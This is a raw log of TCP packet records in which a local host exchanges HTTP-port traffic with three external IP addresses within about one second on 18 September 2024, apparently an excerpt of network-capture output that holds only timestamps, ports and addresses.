Sep 18, 2024 14:30:09.025199890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025209904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025218010 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025232077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025250912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025257111 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025283098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025296926 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025321007 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025345087 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025383949 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025396109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025408983 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025420904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025428057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025455952 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025455952 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025494099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025505066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025517941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025527000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025542021 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025564909 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025590897 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025626898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025629044 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025638103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025660992 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025677919 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025706053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025718927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025738955 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025743008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025751114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025763035 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025763988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025782108 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025806904 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025814056 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025847912 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025867939 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025880098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025911093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025923014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025933981 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025944948 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025954962 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025959015 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025981903 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026005983 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026041031 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026051998 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026067019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026077986 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026077986 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026091099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026093006 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026103973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026109934 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026118040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026129961 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026135921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026141882 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.026151896 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.026176929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.057920933 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.057944059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.057956934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.057969093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.057981014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.057992935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.057991028 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.058006048 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.058022976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.058053017 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.064676046 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064692974 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064704895 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064739943 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.064743996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064755917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064766884 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064784050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.064784050 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.064821959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.064846039 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.065409899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065438032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065443039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065520048 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.065553904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065566063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065572023 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065577984 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065584898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.065634966 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.065668106 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.066204071 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066230059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066242933 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066256046 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066263914 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.066268921 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066281080 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.066282034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066298962 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.066317081 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.066339970 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.067115068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.067167997 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.086282015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086306095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086312056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086318016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086327076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086332083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086338997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086349964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086357117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086369038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086380959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086394072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086416006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086429119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086431980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086445093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086457014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086472034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086498976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086498976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086509943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086523056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086534977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086544037 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086544037 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086555004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086568117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086575985 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086575985 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086581945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086595058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086606979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086606979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086616993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086631060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086642027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086653948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086654902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086654902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086668015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086683989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086709976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086709976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086760044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086772919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086777925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086782932 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086788893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086793900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086801052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086816072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086827993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086834908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086846113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086850882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086850882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.086925030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086931944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086937904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086942911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.086950064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087053061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087068081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087080956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087095022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087095976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087095976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087110043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087122917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087136030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087163925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087163925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087163925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087203026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087213993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087219954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087225914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087233067 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087246895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087254047 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087260962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087290049 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087300062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087313890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087320089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087325096 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087325096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087332964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087382078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087382078 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087400913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087414980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087425947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087430000 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087450981 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087464094 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087537050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087548971 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087555885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087560892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087567091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087574005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087579966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087584019 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087589979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087678909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087691069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087702990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087707996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087716103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087716103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087723017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087729931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087735891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.087742090 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087747097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087752104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087759972 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087800026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087800026 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087806940 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087814093 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087820053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087826967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.087877989 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.087951899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087965965 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087973118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087979078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.087985992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088000059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088038921 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.088205099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088217974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088224888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088227987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.088267088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088272095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.088280916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088289022 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088335037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088340998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088346958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088352919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.088442087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088454962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088462114 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.088469982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088473082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.088484049 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088495970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.088500977 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.088526964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.088767052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.089171886 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.089418888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089433908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089448929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089462042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089497089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.089497089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.089508057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089523077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089535952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089548111 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.089572906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.089572906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.089840889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.090095043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090109110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090121031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090140104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090151072 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090162992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090167046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.090167046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.090176105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090189934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.090190887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.090214968 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.090229988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.090404987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090416908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090429068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090475082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.090475082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.090498924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090512037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090527058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090533018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090547085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.090584040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.090584040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.091223001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091238976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091249943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091263056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091278076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091289997 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.091308117 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.091363907 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091393948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091401100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.091408014 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.091418982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091428041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.091437101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091443062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.091449976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091461897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091474056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091481924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.091481924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.091485023 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091500044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091511011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.091525078 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.091525078 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.091610909 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.092237949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092283964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092292070 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092298031 CEST	80	49706	147.45.44.104	192.168.2.7
